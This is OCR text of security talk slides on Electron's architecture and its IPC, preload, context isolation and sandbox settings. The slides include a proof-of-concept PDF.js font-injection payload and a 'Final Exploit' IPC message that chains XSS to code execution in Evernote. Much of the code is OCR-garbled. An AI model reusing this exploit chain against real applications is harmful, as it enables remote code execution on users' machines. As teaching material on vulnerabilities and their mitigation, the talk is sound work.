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probabLU i billions?

More than 150 millipp-users~

Cross-platform
Chromium + Node Js

Released in 2013
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Chrome for Front-end

=NID  FRONT-END Node for backend
Large Patch gap

Multi-process architecture
- Main process

- Renderer processes
- [PC

+ Traboda More on Electron
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Electron

main process
(browser process)

helper processes

renderer Process renderer Process renderer Process

Itecture
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JS main.js

Js preload.js

000
const { ipcMain } = require('electron/main')
const { contextBridge, ipcRenderer } = require('electron')
ipcMain.on( 'set-title', (event, title) => {
const webContents = event.sender

const win = BrowserWindow. fromWebContents(webContents) 1)
win.setTitle(title)

})

contextBridge.exposeInMainWorld( 'electronAPI', {
setTitle: (title) => ipcRenderer.send('set-title', title)

T Traboda Nterr’rocess'_ommunication
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JS main.js

const win = new BrowserWindow({

width: ,

helght: ,

webPreferences: {
nodeIntegration: ,
contextIsolation: ,
preload: path.join(__dirname, 'preload.js'),
sandbox: ,

¥ Traboda Jration
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Renderer process Renderer process
{ nodelntegration: false } { nodelntegration: frue }

No access to Node.js Access to all NodeJS

Main process

APls APls

7 Traboda INntegration
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Renderer process
{ nodelntegration: false,
nodelntegrationinSubFrames: true }
Renderer process
{ nodelntegration: false } Subframe

No access to Node.|s Access to all NodeJS

Main process

APIs APls

7 Traboda IntegrationinSubbFrames
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Js preload.js

const { contextBridge, ipcRenderer } = require('electron')

contextBridge.exposeInMainWorld( 'electronAPI', {
setTitle: (title) => ipcRenderer.send('set-title', title)

})

- Script that is executed before renderer

- Access to limited node JS APIs

Y Traboda P e
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Renderer process Renderer process
{ contextlsolation: false } { contextlsolation: true }

App context App context

Preload.js context Preload.js context

Access to all NodeJS

Main process APIS

Y Traboda CO ntext
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Same as chrome sandbox

Y Traboda SO ﬂd bOX
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M%Etupﬂ Manager

IPC Service
| |
. S rEEmTrEEEE
= :
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= :

Runs in a sandboxed renderer,

Policy Engine
Client

preventing access to the system level P | [erceoons
calls S ——
Adds an IPC to broker the calls .. _

Policy Engine
Client

Interceptions

Y Traboda Sdn d



b710s

Meetups

PDF.js XSS - CVE-2024-4367
IPC Misconfiguration in preload.js

Improper checks in main.js

T Traboda @ Evernote RCE
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https://Oreg.dev/blog/evernote-rce

. Evernote Remote-Code Execution via PDF.js font-injection preload exposed ip... ~»
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Evernote

Evernote Latest XSS -+ RCE via preloaded
exposed ‘electronApi.ipcRenderar '
' ‘BrokerBridge’
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Just this week, | discovered a critical Javascript Injection -> Remote-Code Execution inthe

Evernote app. By simply clicking the shared sugar-coated note with embedded font-
injection malicious PpoF , the attacker can arbitrary execute command & files spontaneously
while invisibly by exploiting the preloaded-and-exposed ipcRenderer Electron Inter-Process-
Communication APl with the Evernote 's built-in 1pc event listener * 'BrokerBridge’ *in the Main
Process . As much as | struggled for 6 heurs (Even though | spent way long to writing this blog)
from scratch in this fully-obscured massive application to create a 4-step call-chain 1Ipc
payload, | still think this will be great material to share and look at:) ( Funny-thing, | was on the
wrong track for around 2 hours then realizing 1pc is actually the key, meaning when | found this
as Oday, | start to look for the sink for rce rather the ipcRenderer related aspects )

In today’s blog, we will be exploring the Evernote XSs->RCE journey that contains:

* Understanding how Electron 's Multi-Process Model, Ipc handlers, and preload.js
functions;
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Javascript-based PDF viewer maintained

https://codeanlabs.com/blog/research/cve-2024-4367-arbitrary-js-execution-in-pdf-js/

by Mozilla.

Vuln

Y Traboda

evalcalled when compiling glyphs.

6 0 obj

=<
/BaseFont /SNCSTG+CMBX12
/FontDescriptor 7 @ R
/Subtype /Typel
/FontMatrix [1 2 3 4 5 (1\); alert\('origin: '+window.origin+'\\npdf url: '+window.PDFViewerApplication.url)]
/Type /Font

==

endobj

7 0 obj

<<
/Flags 4
/FontBBox [ -53 -251 1139 750 ]
/FontFile 9 0 R
/FontName /SNCSTG+CMBX12
/ItalicAngle ©
/Type /FontDescriptor

==

endobj

9 0 obj
=<

/Filter /ASCII85Decode
==
stream
,p?) " /0<0c@V&#IDKIHb/hf=/6VTmLOesk*0@Ib=80IWt
2" "WH+>PW)3=7&Y6ZQaHFD11\+@KX]Bk/>\/g*c)DImk
FEn3>6Z6phEbTO"F? 1INm4D8hYE&0X*GB\6 @;U'<DfTIS.4cTc eF<F=eD.0hW9gVr:1+in[+B3#gF!*qjDKI""De=*8@<,
F(JU)F (" $EZfI;AKXoCOH[,MASrV[DfOY>9PJ]!IDKBA?+BE&OF (0Q1+>G C mI<+0ue+Dbb%ASuR#+DGm>BlS&SBOr p@qOFoE+*XOB17Q+Anc
/0JA=AB>T-+CT)-D[Id5@<0'nCggdhAKZ22FD)e*+@\Xo+CT@Q+D>k=E&OX*F (96 )E-- .RF(oGCDTTID: I\#1$7-ueDIc+QD/Ej%FE7dYDTfOYbBL|
=>;0QRCMn "' 7DL4%$(9gVr:1*C1CDId?tDKI"3F  9!6DJ=*5AP#94CMn"'7DL50:E'ebuD]=*5AP#94B470-2)$"<2 <Z=AT81i (G[kD?7W30d<-"Fo+D5
A SfDDf?hE@ LIrI;*;)Cia.pHZNV= AKZ)SF ,UJAmoLsAUS9)AScF! I=#R7Cia0@9BkCpmF (G\50d( "@@rri&AS5~p$84keDKIj "E+L.P3?VjDAdT
Bm:b)8d&4olENLs2' 7* A ?T1AK ) : .%rZ7k6rs6 33 #=,/M]1<+>GT,37U7<0Hb

>>K*/het7$7-ucEb/[$Bl@LW@<?'A+AHcl+A-
.3L?*3B&K31, (CB+@OjUEbT#1DBMY~FD, 6&@<?

A7]7[03)n(EHPhabm+?d j *Fo+>=pKAS)9&7W30d8T&-Y+7 - i %7 j+Df-[GOJIG:80IG72+ED
AdUldDff] 'AKWBgDTBuE : . JO#L+>PW) 3?7 1N) 7>V J#h4D8hYE&OX*GB\6 " @; L
/OK.NFD) dpATMF ' 6%G2, g T+TDIga@ S@A7]?[01KAeB1&&1@; T
EZe{pAT]e' 3NYB@: X:d j@ 6AS) p[N.3NYB@: @ oCj dU2*FkgARNVOFCSu, AmoLsAKY

ouUCMm F !

2_17@- TNCYmF )OSES (o+>65-E- 67@A9D162_1L/8@DKOF )Qs% (q+>6; /E- 67@A9D162 d39H\ sF:)Q$ES$. (u+>6G3E-670A9Di62 W!6: EX
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: JS main.js
Js preload.s
LN N

Mt.register(
. N N

‘boron.actions.openFileAttachment’,

async ({ resource: e, url: t, noteGuid: n, appName: r }) => {
o.contextBridge.exposeInMainWorld( 'electronApi’', { try {
ipcRenderer: {

if (!t) return
on: (e, t) => o.ipcRenderer.on(e, t),

const o = (await (0, ea.getCurrentUserID)()).split(':")
send: (e, ...t) => o.1i1pcRenderer.send(e, ...t}),

a = lv({ resource: e, noteGuid: n, userID: o })
removeAllListeners: (e) => o.ipcRenderer.removeAllListeners(e), if (0().existsSync(a))
invoke: (e, ...t) => o.ipcRenderer.invoke(e, ...t), await cv({ filePath: a, resource: e, noteGuid: n, appName: r })
} catch (e) {

av.error( Error in openFileAttachment: ${e} ),
jp( 'Message.openFileAttachment.failure')

Y Traboda

Evernote
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window.top.electronApi.ipcRenderer.send( 'BrokerBridge', {
action: 'Bridge/Call’,
id: '7e803824-d666-4ffe-9ebb-39aclbd7856f",
topics: 'boron.actions.openFileAttachment',
data: {
resource: {
hash: '2f82623f9523c0d167862cad0eff6806",
mime: ‘'application/octet-stream',
Fects .. F,
state: 'loaded',
reference: '22cadlaf-d431-4af6-b818-0e34f9ff150b',
selected: true,
url: 'en-cache://tokenKey%3D%22AuthToken%3AUser%s3A245946624%22+f4cbd0d2-f670-52a7-7ea7-

5720d65614fd+218262319523c0d167862cad0eff6806+https://www.evernote.com/shard/s708/res/54938bad-ecb2-
3aaa-6ad0-a9b7958d402f "',

isInk: false,
filesize: 45056,
filename: 'calc.exe',
}s
url: 'en-cache://tokenKey%3D%22AuthToken%s3AUser%s3A245946624%22+f4cbd0d2-f670-52a7-7ea’-
5720d65614fd+218262319523c0d167862cad0eff6806+https://www.evernote.com/shard/s708/res/54938bad-ech2-
3aaa-6ad0-a9bh7958d402f "',
noteGuid: 'f4cbd0d2-f670-52a7-7ea7-5720d65614fd",
appName: '',
by
})

7 Traboda Final Exploit
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Evernote

10.86.5-win-ddi-public (20240429211012) E3 7
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efficiency.
Fixes:
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Evermote Latest X55 -> RCE » 3

- c =: evernote.com/shard/s708/client/snv?isnewsnv=true&inoteGuid=0f202e5a-f101-1299-09b5-5¢377049367 3&noteKey=1ns7ds250ENITIHIZ7amSZSvNXoZvDu RNTwMIKZs,.. E{.:| o im

[0 Computer Science [ Creativity [3J Teeols [ NP 3 Bug-Hunting  Retr0.Blog Admin . MextChat ChatGPT

F |
g Everﬂote Access this note anytime in the "Shared with Me® section of your account. Save and open in Evernote

>

Evernote Latest XSS -> RCE via preloaded
exposed 'electronApi.ipcRenderer ' ->
'BrokerBridge

15 years-old Thread Researcher, Oreg.dev

Fo

(R B HTAR !
Evernote 10.86.5 B23fi=] BAH

Mew Features:

efficiency.
Fixes:

* Performance improvemen
fixes.
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Mitigate XSS
Security options when creating electron windows
Upgrade electron regularly

IPC handler configuration

Y Traboda DOﬂ "t
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THANK YOU

Y Traboda

Connect with me on x.com/Lu513n

Connect with me on x.com/Lu513n
Connect with me on x.com/Lu513n

Connect with me on x.com/Lu513n

Connect with me on x.com/Lu513n
Connect with me on x.com/Lu513n
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